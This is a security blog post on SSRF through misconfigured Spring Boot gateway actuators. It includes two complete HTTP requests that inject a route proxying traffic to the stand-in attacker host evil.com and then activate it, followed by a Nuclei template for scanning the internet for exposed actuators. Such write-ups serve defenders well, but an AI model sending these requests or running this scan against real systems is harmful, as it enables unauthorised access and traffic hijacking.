"Spring Boot"-Actuators and SSRF

1. Intro

A respective colleague of mine Wyatt Dahlenburg recently described in a blog article how a mis-configured “Spring Boot” application can be used to create an opportunity for SSRF (Server Side Request Forgery) attacks.

The “Spring Framework” is an application framework designed for the Java development platform and commonly used to develop web applications like REST-APIs. The “Spring Boot” extension provides a “ready to run” environment which allows creating (standalone) Spring-based applications. These standalone applications can be extended through a module called spring-boot-actuator to append so called “production-ready features” via actuators. “Actuators” are basically providing administrative functionality for controlling the application flow (e.g. downstream) or monitoring specific functional behavior of the application itself.

An example for a “Spring Boot” actuator would be the /actuator/health endpoint which returns UP if everything runs as intended. Each of these individual endpoints can be enabled or disabled and exposed over HTTP or JMX (Java Management Extensions; an infrastructure for managing Java applications locally or remotely). Some of these endpoints are exposed by default (e.g. the above described health-actuator), a possibility which can be used by an attacker to produce information disclosure. Since v.2+ “Spring Boot” discloses enabled actuators when visiting the endpoint /actuator.


2. The gateway-Actuator

In his blog Wyatt Dahlenburg described how he stumbled across an enabled gateway-actuator which allows viewing configured routes of the application if extended with /routes (/actuator/gateway/routes; a direct request results in a HTTP-response of status-code 404).

Routes allow developers to define conditions how application traffic can be proxied using the gateway application (in this case the “Spring Boot” application) to downstream applications. These routes can be resolved by different protocols using different URI schemes such as http://, https://, ws:// (Web-Socket), wss:// (Web-Socket over HTTPS) and lb:// (Load Balancer). According to the documentation:

ID HTTP-Method Description
globalfilters GET Displays the list of global filters applied to the routes.
routefilters GET Displays the list of GatewayFilter factories applied to a particular route.
refresh POST Clears the routes cache.
routes GET Displays the list of routes defined in the gateway.
routes/{id} GET Displays information about a particular route.
routes/{id} POST Adds a new route to the gateway.
routes/{id} DELETE Removes an existing route from the gateway.

Here comes the opportunity of creating a SSRF into play. By sending a HTTP-POST request to the unprotected actuator it is possible to define a new route with the ID “new_route” which proxify traffic from /new-route to an attacker-controlled domain called evil.com over the HTTP-protocol:

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://evil.com",
  "order": 0
}

A second HTTP-Post request refreshes the gateway and enables the evil route.

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/json
Connection: close
Content-Length: 230

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
  ],
  "uri": "https://evil.com",
  "order": 0
}

It should be noticed that actuators are only stored in memory. If an administrator detects such behavior an application-restart will be enough to make modifications of the gateway-actuator vanish.


3. Mass-Detection

The idea of catching low-hanging fruits through mis-configured “Spring Boot” actuators led me into the creation of a “Nuclei”-template:

id: spring-boot-actuator

info: 
  name: Spring Boot Actuator
  description: Detects if a host is deployed via Spring Boot and is using publicly accessible actuators
  author: SI9INT

requests:
  - method: GET
    headers:
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
      Origin: https://google.de
    path:
      - "{{BaseURL}}/actuator"

    matchers-condition: and
    matchers:

      - type: status
        status:
          - 200

      - type: word
        words:
          - "templated"

Running Nuclei against a German subset of the “Majestic Million” (https://majestic.com/reports/majestic-million) led to few but interesting results.


Sources:


Last modified on 2022-01-01

Comments Disabled.